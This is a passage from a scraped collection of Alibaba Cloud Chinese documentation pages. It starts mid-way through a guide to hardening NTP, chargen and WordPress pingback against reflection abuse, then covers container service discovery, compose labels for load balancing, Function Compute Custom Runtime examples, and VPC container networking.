        1. 通过Iptables配置只允许信任的IP访问本机UDP的123端口。

          1. 修改配置文件,然后执行以下命令:
            echo "disable monitor" >> /etc/ntp.conf
          2. 执行以下命令重启NTP服务:
            service ntpd restart
        2. 我们建议您直接关闭掉NTP服务,并禁止其开机自启动。

          1. 执行service ntpd stop命令。
          2. 执行chkconfig ntpd off命令。

        2. 加固Chargen服务

        1. 通过Iptables配置只允许信任的IP访问本机UDP的19端口。
        2. 我们建议您直接关闭掉chargen服务。编辑配置文件”/etc/inetd.conf”,用#号注释掉chargen服务,然后重启inetd服务。

        Windows系统

        1. 加固Simple TCP/IP服务

        注意: Windows系统默认不安装Simple TCP/IP服务,如果您无需使用此服务,可跳过此步骤。

        1. 通过防火墙配置,只允许信任的IP访问本机UDP、TCP的19、17端口。
        2. 我们建议您直接关闭Simple TCP/IP服务,并禁止自启动。

        2. Web应用的加固

        Wordpress的Pingback

        1. 您可以通过增加Wordpress插件来防止Pinback被利用,加入如下过滤器:

          add_filter( ‘xmlrpc_methods’, function( $methods ) {
             unset( $methods[‘pingback.ping’] );
             return $methods;
          } );

        2. 建议您直接删除xmlrpc.php文件。

          ]]> 容器间的互相发现_服务发现和负载均衡_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 容器间的互相发现

          更新时间:2019-01-23 00:06:58

          编辑 我的收藏

          新浪微博 微信 钉钉

          本页目录

          容器服务为集群内的服务和容器提供多种服务发现方式,可以通过容器名、link、hostname 等进行发现。

          通过容器名

          容器服务不仅可以通过容器的 IP 进行访问,还可以通过网络中其他容器的容器名进行访问,通过跨主机互联的容器网络 中的例子,您可以在 test_network-test2_1 的容器中通过 test_network-test1_1 的容器名进行访问。

          如果在编排文件中不指定 container_name 的话,默认的容器名为 {project-name}_{service-name}_{container-index}。在连接管理终端后,您可以通过另外一个服务的容器名进行访问,来测试网络的连通性。如下图所示。



          通过 link

          容器服务支持编排模板服务间的 link,服务间的 link 可以将一个服务的容器 link 到另外一个服务的容器中,而容器中可以通过 link 进来的服务别名访问到依赖的容器,并且在依赖的容器的 IP 变化时可以动态的更新别名解析的 IP。具体的例子可以参考容器服务示例编排中的 WordPress 编排,其中 WordPress 中 Web 服务 link db:mysql 的服务到容器内,如下所示。容器内部就可以通过 MySQL 的域名访问到 db 服务的容器。

          links:
              - 'db:mysql'

          通过 hostname

          如果在编排模板的服务中定义了 hostname 的配置,则在集群中便可以通过这个 hostname 访问到这个容器。

          例如:

          testhostname:
                  image: busybox
                  hostname: xxserver
                  command: sleep 100000
                  tty: true

          那么,集群中就可以通过 xxserver 解析并访问到这个服务的容器,具体请参见跨主机互联的容器网络 的编排示例。当这个服务在有多个容器时,通过这个域名访问还可以做到一定的负载均衡的作用。

          另外,如果服务没有配置 hostname 的话,容器服务会把容器的容器名作为容器内部的 hostname;如果有应用需要在容器内知道自己的容器名,用于服务的注册,比如 Eureka Client,需要注册一个可被访问的地址到 Eureka Server,容器内的进程可以获取到容器名用于服务注册,并让其他的服务调用者通过容器名互相访问。

          上一篇:负载均衡路由

          下一篇:自定义路由-使用手册

          相关文档

          相关产品

          • 容器服务(已停止服务)

            容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

          • 容器服务Kubernetes版

            容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

          • 容器镜像服务

            容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

          以上内容是否对您有帮助?

          在文档使用中是否遇到以下问题

          • 内容错误

          • 更新不及时

          • 链接错误

          • 缺少代码/图片示例

          • 太简单/步骤待完善

          • 其他

          • 内容错误

          • 更新不及时

          • 链接错误

          • 缺少代码/图片示例

          • 太简单/步骤待完善

          • 其他

          更多建议

          匿名提交

          感谢您的打分,是否有意见建议想告诉我们?

          感谢您的反馈,反馈我们已经收到

          文档反馈

          ]]>
          oom_kill_disable_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 oom_kill_disable

          更新时间:2019-01-23 00:37:39

          编辑 我的收藏

          新浪微博 微信 钉钉

          本页目录

          设置是否禁止 OOM Killer,和docker run 命令中的--oom-kill-disable参数语义一致。

          wordpress:
            image: wordpress:4.2
            oom-kill-disable: true

          上一篇:dns_options

          下一篇:变量替换

          相关文档

          相关产品

          • 容器服务(已停止服务)

            容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

          • 容器服务Kubernetes版

            容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

          • 容器镜像服务

            容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

          以上内容是否对您有帮助?

          在文档使用中是否遇到以下问题

          • 内容错误

          • 更新不及时

          • 链接错误

          • 缺少代码/图片示例

          • 太简单/步骤待完善

          • 其他

          • 内容错误

          • 更新不及时

          • 链接错误

          • 缺少代码/图片示例

          • 太简单/步骤待完善

          • 其他

          更多建议

          匿名提交

          感谢您的打分,是否有意见建议想告诉我们?

          感谢您的反馈,反馈我们已经收到

          文档反馈

          ]]>
          lb_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 lb

          更新时间:2019-01-23 00:37:27

          编辑 我的收藏

          新浪微博 微信 钉钉

          本页目录

          通过自定义阿里云负载均衡 nat 映射的方式来暴露服务端口到公网或者到内网。需要升级到最新版本的 Agent 方能支持该扩展能力标签。

          标签格式如下,带$的变量为占位符。

          aliyun.lb.port_$container_port:$scheme://$[slb_name|slb_id]:$slb_front_port

          示例

          web:
            image: wordpress:4.2
            ports:
              - 7777:80
              - 9999:9999
              - 8080:8080
              - 53:53/udp
            links:
              - db:mysql
            labels:
              aliyun.lb.port_80: http://slb_example_name:8080
              aliyun.lb.port_9999: tcp://slb_example_name:9999
              aliyun.lb.port_8080: https://14a7ba06d3b-cn-hangzhou-dg-a01:80
              aliyun.lb.port_53: udp://14a7ba06d3b-cn-hangzhou-dg-a01:53
          db:
            image: mysql
            environment:
              - MYSQL_ROOT_PASSWORD=password

          要使用好自定义负载均衡的 lb 标签,您需要理解请求路由过程中的 3 个端口,即负载均衡的前端端口,负载均衡的后端端口(也就是 ECS vm 的端口),最后就是容器的端口。以第一个lb标签aliyun.lb.port_80为例,从左往右看,在 key 中的 80 端口指的是容器要暴露的端口,后面的 8080 端口指的是负载均衡要暴露的前端端口。负载均衡的后端端口是 ECS 实例的端口,可从标签 ports 的主机:容器端口映射中获取,由此,您可以查到容器端口 80 对应的主机端口是 7777,因此确定了负载均衡转发的后端端口是 7777 端口。因此第一个标签说明了当向服务 Web 发起请求时,首先通过负载均衡前端的 8080 端口进入,转发到后端 ECS 实例的 7777 端口,然后再根据端口映射 ports 的声明,请求最终从容器端口 80 进入,交由容器内的 WordPress 进程提供服务。接下来的标签以此进行相同的解释。该标签配置的负载均衡均不经过集群内置的 routing 服务,请求的路由由您自己控制。

          标签声明的格式要求

          • 指明负载均衡实例时,可以使用负载均衡实例的名称或者负载均衡实例的 ID。
          • 负载均衡实例名称的限制为 1~80 个字符,允许包含字母、数字、连字符(-)、正斜杠(/)、点号(.)、下划线(_)。
          • 容器端口限制为 1~65535。
          • 负载均衡前端端口的限制为 1~65535。

          带有自定义负载均衡 nat 映射的服务部署限制

          • 您需要自己创建负载均衡实例,对负载均衡实例命名,并创建对应监听端口,然后以扩展标签的方式提供映射的容器端口 $container_port,使用的协议 $scheme(可能的值有 tcphttphttpsudp,负载均衡实例的名称 $slb_name 或者 $slb_id,以及指定负载均衡实例的前端端口 $slb_front_port
          • 您必须指定服务要暴露端口的主机和容器端口的映射,通过 Dockerfile 标准的标签 ports 指定,注意必须指定主机端口,且与其他服务映射的主机端口不能冲突,需要主机的端口用于负载均衡绑定后端的 ECS 实例。
          • 一个服务只能使用一个或者多个负载均衡实例进行服务端口的暴露,因多个服务会分布在不同的 ECS 实例后端,多个服务不能共享使用同一个负载均衡实例。
          • 通过 lb 标签来配置使用负载均衡路由时,不能配置为集群默认的负载均衡实例。
          • 部署了带有负载均衡 nat 映射的服务的主机使用相同的主机:容器端口映射,因此这些服务在每台 ECS 上只有一个实例。
          • 支持的负载均衡协议 $scheme 包括 tcp、http、https、udp 协议。
          • 您需要自行在阿里云负载均衡管理控制台创建监听的端口。
          • 请自行登录负载均衡管理控制台对在容器服务中使用的负载均衡实例进行具体的配置修改,例如带宽限制等配置。
          • lb 标签的价值在于您不需要自行绑定负载均衡后端的 ECS 实例,只需要配置好相应的标签,就会自动帮助您完成绑定后端的操作。因此,除了绑定负载均衡后端的操作,您对负载均衡的设置和修改需要自行在阿里云负载均衡管理控制台上完成。
          • 容器服务会帮助您生成一个 RAM 子账户(需要您开通 RAM),使用这个具有部分负载均衡权限(没有创建和删除负载均衡的权限)的账号帮助您管理在容器服务中使用的负载均衡实例,例如绑定集群中某些节点作为服务的后端。
          • 在服务的整个生命周期内,lb标签会一直生效,除非服务被删除,或者lb标签删除之后重新部署了服务,在此期间,配置在lb标签内的 SLB 实例不能混用。

          上一篇:routing

          下一篇:日志

          相关文档

          相关产品

          • 容器服务(已停止服务)

            容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

          • 容器服务Kubernetes版

            容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

          • 容器镜像服务

            容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

          以上内容是否对您有帮助?

          在文档使用中是否遇到以下问题

          • 内容错误

          • 更新不及时

          • 链接错误

          • 缺少代码/图片示例

          • 太简单/步骤待完善

          • 其他

          • 内容错误

          • 更新不及时

          • 链接错误

          • 缺少代码/图片示例

          • 太简单/步骤待完善

          • 其他

          更多建议

          匿名提交

          感谢您的打分,是否有意见建议想告诉我们?

          感谢您的反馈,反馈我们已经收到

          文档反馈

          ]]>
          函数计算 Custom Runtime 使用集锦_CustomRuntime_代码开发_函数计算-阿里云 Fri, 02 May 2025 09:39:04 +0800 函数计算 Custom Runtime 使用集锦

          更新时间:2020-02-11 17:54:27

          本页目录

          前言

          函数计算目前原生支持的开发语言有 nodejs, python, java, php 和 c#, 在实现这些开发语言 runtime 的时候, 函数计算开发团队花了很大的精力去让各自语言的传统应用能够简单快速迁移到函数计算平台:

          如上述所列的各自语言的传统应用迁移到函数计算的迁移方案, 虽然已经足够简单, 但是还是需要去理解一下函数计算的接口以及各自语言在函数计算环境中运行起来的原理, 比如 python, 用户需要理解 WSGI 协议, 然后才编写一个符合要求的入口函数。 为了彻底解放生产力, Custom Runtime 应运而生, Custom Runitme 可以解决以下两个重要需求:

          • 可以随心所欲持定制个性化语言执行环境(例如 golang、lua、ruby)以及各种语言的小版本(例如python3.7、Nodejs12)等,打造属于自己的自定义runtime

          • 现有的 web 应用或基于传统开发 web 项目基本不用做任何改造,即可将项目一键迁移到函数计算平台

          用户要实现一个最简单的 Custom runtime,只要符合以下两条:

          • 创建一个http server,监听在固定端口(端口可以读取环境变量 FC_SERVER_PORT,默认为 9000)

          • http server 需要在 15s 内完成启动

          接下来, 我们梳理一下基于 Custom Runtime 一键迁移案例。

          custom 实现注意细节:

          • Custom Runtime 启动的服务一定监听 0.0.0.0:9000 或者 *:9000 端口,不用使用127.0.0.1:9000, 会导致请求超时。{“ErrorCode”:”FunctionNotStarted”,”ErrorMessage”:”The CA’s http server cannot be started:ContainerStartDuration:25000000000. Ping CA failed due to: dial tcp 21.0.5.7:9000: getsockopt: connection refused Logs : 2019-11-29T09:53:30.859837462Z Listening on port 9000rn”}

          • Custom Runtime 的 bootstrap 一定需要添加 #!/bin/bash,不然会遇见如下错误{“ErrorCode”:”CAExited”,”ErrorMessage”:”The CA process either cannot be started or exited:ContainerStartDuration:25037266905. CA process cannot be started or exited already: rpc error: code = 106 desc = ContainerStartDuration:25000000000. Ping CA failed due to: dial tcp 21.0.7.2:9000: i/o timeout Logs : 2019-11-29T07:27:50.759658265Z panic: standard_init_linux.go:178: exec user process caused ”exec format error”

          • bootstrap 一定需要可执行权限

          • bootstrap 代码一定要执行到 http server 启动成功的逻辑, 不能被前面的逻辑阻塞, 比如启动server之前, 尝试连接一个不可达的数据库,造成启动时间 timeout

          • http server 的实现 connection keep alive, request timeout 至少10分钟以上

          案例

          java

          Serverless 实战 —— 快速搭建 SpringBoot 应用

          Serverless 实战 —— 移植 spring-petclinic 到函数计算

          python

          1. import tornado.ioloop
          2. import tornado.web
          3. import os
          4. class MainHandler(tornado.web.RequestHandler):
          5. def get(self):
          6. rid = self.request.headers.get('x-fc-request-id',None)
          7. print("FC Invoke Start RequestId: " + str(rid));
          8. # your logic
          9. self.write("GET: Hello world")
          10. print("FC Invoke End RequestId: " + str(rid));
          11. def post(self):
          12. rid = self.request.headers.get('x-fc-request-id',None)
          13. print("FC Invoke Start RequestId: " + str(rid));
          14. # your logic
          15. self.write("GET: Hello world")
          16. print("FC Invoke End RequestId: " + str(rid));
          17. def make_app():
          18. return tornado.web.Application([
          19. (r"/.*", MainHandler),
          20. ])
          21. if __name__ == "__main__":
          22. app = make_app()
          23. port = os.environ.get("FC_SERVER_PORT", "9000")
          24. app.listen(int(port))
          25. tornado.ioloop.IOLoop.current().start()

          本地安装第三方包 tornado

          然后编写一个具有可执行权限的名字为bootstrap (注:#!/bin/bash注释是必需的)文件启动上面代码的 http server:

          1. #!/bin/bash
          2. python server.py

          go

          基于custom runtime 打造 golang runtime

          nodejs

          1. 'use strict';
          2. var express = require('express');
          3. var app = express();
          4. var crypto = require('crypto');
          5. app.post(/.*/, function (req, res) {
          6. var rid = req.headers["x-fc-request-id"];
          7. console.log(`FC Invoke Start RequestId: ${rid}`);
          8. // your logic, for example, get hash
          9. var secret = 'abcdefg';
          10. var hash = crypto.createHmac('sha256', secret)
          11. .update('I love cupcakes')
          12. .digest('hex');
          13. // c0fa1bc00531bd78ef38c628449c5102aeabd49b5dc3a2a516ea6ea959d6658e
          14. console.log(hash);
          15. res.send(hash);
          16. console.log(`FC Invoke End RequestId: ${rid}`);
          17. });
          18. var port = process.env.FC_SERVER_PORT || 9000
          19. app.listen(port, function () {
          20. console.log("FunctionCompute custom-nodejs runtime inited.");
          21. });
          22. app.timeout = 0; // never timeout
          23. app.keepAliveTimeout = 0; // keepalive, never timeout

          本地安装第三方包 express

          然后编写一个具有可执行权限的名字为bootstrap (注:#!/bin/bash注释是必需的)文件启动上面代码的 http server:

          1. #!/bin/bash
          2. node server.js

          php

          基于custom runtime + nginx + php-fpm 运行 wordpress:customruntime-php

          .NETCORE CSharp

          .Net Core 2.1 MVC Web应用迁移到函数计算 custom runtime

          教程同样适用于 .netcore 3.0

          上一篇:.NET Core 运行环境

          下一篇:Custom Runtime 简介

          相关文档

          以上内容是否对您有帮助?

          在文档使用中是否遇到以下问题

          • 内容错误

          • 更新不及时

          • 链接错误

          • 缺少代码/图片示例

          • 太简单/步骤待完善

          • 其他

          • 内容错误

          • 更新不及时

          • 链接错误

          • 缺少代码/图片示例

          • 太简单/步骤待完善

          • 其他

          更多建议

          匿名提交

          感谢您的打分,是否有意见建议想告诉我们?

          感谢您的反馈,反馈我们已经收到

          文档反馈

          ]]>
          测试访问_快速入门_轻量应用服务器-阿里云 Fri, 02 May 2025 09:39:04 +0800 测试访问

          更新时间:2018-07-26 18:04:19

          本页目录

          前提条件

          添加的域名已经解析成功,否则会出现后台无法登录的情况。

          操作步骤

          1. 在 WordPress 配置界面的左侧导航栏中, 点击 设置 > 常规
          2. WordPress 地址站点地址 处输入 http://绑定的域名。1c44cf01dcdb833e.png | center

          3. 在浏览器地址栏直接输入以上地址,测试应用是否可以正常访问。

          4. 如果无法正常访问,可尝试通过如下步骤排查问题
            • 检查域名状态是否正常,DNS解析是否指向服务器IP。如不正常可联系域名或者DNS服务商进行排查。
            • 应用本身是否可以正常运行,如无法修复可尝试重置系统
            ]]> 云虚拟主机 IO 异常原因分析_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 云虚拟主机 IO 异常原因分析

            更新时间:2020-01-07 17:04:40

            本页目录

             

            问题场景:

            用户反映打开网站打不开,万网控制台打开一直报错。

            解决方案:

            这个是 IO 异常导致的,IO 高的原因通常是内存不足导致。由于轻云主机设置了虚拟内存(swap 分区)。如果内存不足将会导致大量使用虚拟内存,虚拟内存实际上就是在硬盘上分出来的一部分空间,频繁刷新 cache 将导致 IO 高。很容易出现 IO hang 的情况出现。IO hang住的情况下,很少有自动恢复的可能。通常都需要重启主机才可以。

            出现 IO   高的主机,一般都是经济版或普惠版。 这两个版本内存太低,容易出现此问题。尤其是放了Wordpress 和网店程序的用户会经常出现此类问题。

            对于独享虚拟主机经济版主机,建议直接升级主机。Wordpress 程序,升级后建议使用缓存插件。对全站生成缓存。尽量少用其它插件。如果已经是较高版本的独享版主机,还是遇到 IO 很高的问题,建议对程序进行检查或者换用其它博客程序。网店程序建议使用独享较高版本主机。

             

             

            如果问题还未能解决,请联系售后技术支持

             

            上一篇:云虚拟主机访问显示“非常抱歉该页面暂时无法访问”

            下一篇:访问云虚拟主机统计报告页面显示乱码

            相关文档

            相关产品

            • 云虚拟主机

              阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

            • 云解析 DNS

              云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

            • 云服务器 ECS

              云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            容器服务 VPC 网络使用指南_网络管理_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 容器服务 VPC 网络使用指南

            更新时间:2019-01-23 00:44:35

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            本文档从容器服务使用 VPC 网络的角度来介绍如何在容器服务中正确地使用 VPC 网络以及相应的注意事项。

            VPC 网段

            • 为了可以顺利地在容器服务中创建 VPC 的容器集群,首先需要根据实际情况规划网络。创建 VPC 网络的时候,您必须指定对应的 CIDR 来划分对应的子网。
            • 每个专有网络只能指定 1 个网段,网段范围如下,其中 172.16.0.0/12 是专有网络的默认网段。
              • 10.0.0.0/8
              • 172.16.0.0/12
              • 192.168.0.0/16

            容器网段

            在创建 VPC 网络的容器服务集群时,需要指定对应的容器网段,目前容器服务支持的容器网段如下:

            • 192.168.1.0/24
            • 172.[16-31].1.0/24

            网络规划

            为了保证容器间的网络互通,需要把每个容器网段都添加到路由表中;因此,为了避免网段冲突,需要提前根据 VPC 和容器网段对自身的应用服务进行相应的网络规划。

            网段规划

            在 VPC 网段和容器网段中,172 网段是重合的;因此,VPC 网段和容器网段选择 172 网段时,需要特别注意。下面举例来说明一下。

            假设 VPC 网段选择为 172.16.0.0/12,交换机网段设定为 172.18.1.0/24。那么根据交换机的网段定义,归属于该交换机的 ECS 的 IP 地址应该是 172.18.1.1-172.18.1.252。如果此时,容器网段也定义为 172.18.1.0/24,那么就会出现容器的 IP 和 ECS 的 IP 重复的情况,在这种情况下会导致容器间的网络通信出现异常。因此,在使用 VPC 网络时,必须注意网络的规划。

            路由表规划

            目前,同一个 VPC 的最大路由表条目是 48 条。

            示例

            下面以一个完整的示例流程,来演示整个容器服务 VPC 网络集群的创建流程。

            步骤 1 创建 VPC 网络

            1. 登录到 VPC 管理控制台
            2. 单击左侧导航栏中的专有网络
            3. 选择所需的地域(本示例中选择华东 1)并单击创建专有网络
            4. 填写专有网络的信息并单击确定

              在本示例中,为了避免和容器网段可能的冲突,选择创建 10.0.0.0/8 网段的 VPC 网络。



            步骤 2 创建交换机

            VPC 创建好之后,在该 VPC 下创建相应的交换机。

            1. 在专有网络列表中,选择刚创建的专有网络。


            2. 单击右侧的管理
            3. 单击左侧导航栏中的交换机并单击右上角的创建交换机


            4. 填写交换机的信息并单击确定

              本示例中,创建华东 1 地域 10.1.1.0/24 网段的交换机。创建 ECS 时,如果选择该交换机,最终 ECS 的 IP 地址为 10.1.1.1-10.1.1.252,合计 252 个 IP 地址(也就是说该网段的交换机下可以购买 252 台 ECS)。



            步骤 3 查看路由表

            VPC 和交换机创建好之后,可以查看路由表的信息。

            单击左侧导航栏中的 路由器。可以看到,交换机的网络会被作为默认的系统路由表。



            步骤 4 创建容器集群

            1. 登录 容器服务管理控制台
            2. 单击左侧导航栏中的集群
            3. 单击右上角的创建集群


            4. 填写集群信息并单击创建集群

              地域选择华东 1, 网络类型选择专有网络,选择之前创建好的 VPC 和交换机。



            本示例中,容器起始网段选择 172.18.0.0/24。那么,该集群内的节点上的容器网段为 172.18.[1-254].0/24,每个节点上容器的 IP 地址为 172.18.x.[1-255]。

            步骤 5 验证节点 IP

            容器集群创建成功后,可以通过校验集群节点 IP 地址,路由表,查看应用容器的 IP 地址等方式来验证之前提到的网络规划的理论。

            通过查看容器集群的节点列表中 ECS 的 IP 地址,即可验证交换的网段。

            1. 登录 容器服务管理控制台
            2. 单击左侧导航栏中的节点
            3. 选择节点所在的集群。

              从下图可以看到新购的 ECS 的 IP 归属于 10.1.1.0/24 这个交换机网段。



            步骤 6 验证路由表

            验证完节点的 IP 地址,继续校验路由表。

            1. 登录到 VPC 管理控制台
            2. 单击左侧导航栏中的专有网络
            3. 在专有网络列表中,选择刚创建的专有网络。
            4. 单击右侧的管理


            5. 单击左侧导航栏中的路由器

              可以看到系统向该 VPC 的路由表里新增网段为 172.18.x.0/24 的路由信息,下一跳为对应的 ECS 实例的 ID。



            步骤 7 验证容器 IP

            最终,需要验证容器的 IP 是否正确。

            本示例中,通过编排模板从容器服务管理控制台部署一个 WordPress 应用,然后通过查看某节点上的容器列表,来验证一下容器的 IP。

            有关如何创建 WordPress 应用,参见通过编排模板创建应用

            1. 登录 容器服务管理控制台
            2. 单击左侧导航栏中的应用
            3. 选择应用所在的集群并单击应用的名称。
            4. 单击容器列表


            以上的校验显示我们成功地创建了一个 VPC 网络的容器集群。

            上一篇:跨主机互联的容器网络

            下一篇:概述

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            容器服务的网络模型,如何做到容器跨主机互联?_Swarm FAQs_常见问题_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 容器服务的网络模型,如何做到容器跨主机互联?

            更新时间:2019-11-04 11:48:07

            编辑 · 

            新浪微博 微信 钉钉

            本页目录

            容器间网络互通

            容器服务为集群中每个容器提供集群内可达的独立 IP,容器之间就可以通过这个独立的 IP 互相通信,而不需要通过 NAT 暴露到主机端口,解耦了与宿主机 IP 的依赖,因此避免了配置 NAT 的时候多个容器端口冲突的问题。而如何实现跨主机的容器通信,在不同网络模型下面的实现方案如下。

            VPC 网络模式下:

            专有网络(Virtual Private Cloud,简称 VPC),帮助您基于阿里云构建出一个隔离的网络环境。您可以完全掌控自己的虚拟网络,包括选择自由 IP 地址范围、划分网段、配置路由表和网关等。容器服务通过配置 VPC 路由表的方式将容器对容器的访问转发到容器 IP 网段所对应的 ECS 机器上。如下图所示。



            在集群的一台节点(172.16.1.1)上启动 Docker daemon 的时候,指定默认的 bridge 网络的 IP 段为 192.168.1.0/24。另外一个节点(172.16.1.2)启动 Docker daemon 时,指定为 192.168.2.0/24。然后,设置对应的路由规则到 VPC 下面的 vRoute 路由表将 192.168.1.0/24 转发到 172.16.1.1 所在节点。另外一个节点也配置类似的路由规则。

            如此,比如在节点 1 上的一个 IP 为 192.168.1.2 的容器访问节点 2 上的一个 IP 为 192.168.2.2 的容器,就能通过路由表的转发将请求转发到对应的机器上,又通过 Docker 在机器上为 bridge 网桥创建的路由规则将请求转发到 Docker0 的网桥上,然后转发到 IP 为 192.168.2.2 对应的容器上。

            另外,容器服务在 VPC 中给 Containers 分配了独立的网段以及路由条目,要避免与原有的 vSwitch 网段、路由表条目及机器上的 IP 路由表冲突,否则请求就可能无法转发到正确的容器上。

            Classic 网络模式下:

            从 Docker 1.9 开始,Docker 通过 Vxlan 的协议支持原生的 跨主机的容器网络。在 Classic 网络环境下,容器服务基于 Docker Overlay Network 创建一个集群内容器互通的网络环境,通过 Overlay 的网络虚拟出多主机中的容器网络是同一个虚拟出的子网,从而容器可以跨主机互相通信。

            跨节点的 Link

            在多容器的应用中,link 常用于描述容器间的依赖,比如 WordPress 的 web 服务依赖于 MySQL 的数据库服务,那么 WordPress 容器启动时就可以通过 link 的方式去获取 MySQL 容器的一系列参数,例如数据库连接 IP、端口等。

            但是 Docker 的 link 仅支持在同一个主机节点上,而容器服务支持跨节点的容器连接,当容器 IP 变化时,链接容器中容器别名也会跟着变化。这些行为和单节点上使用 link 是一致的。

            容器到虚拟机的访问

            容器服务中的容器中保留有访问外部网络的路由,所以如果容器需要访问虚拟机的服务或地址,也可以直接通过虚拟机的 IP 或者域名进行访问。

            相关内容

            上一篇:如何发布或更改应用对外端口?

            下一篇:路由服务常见问题

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

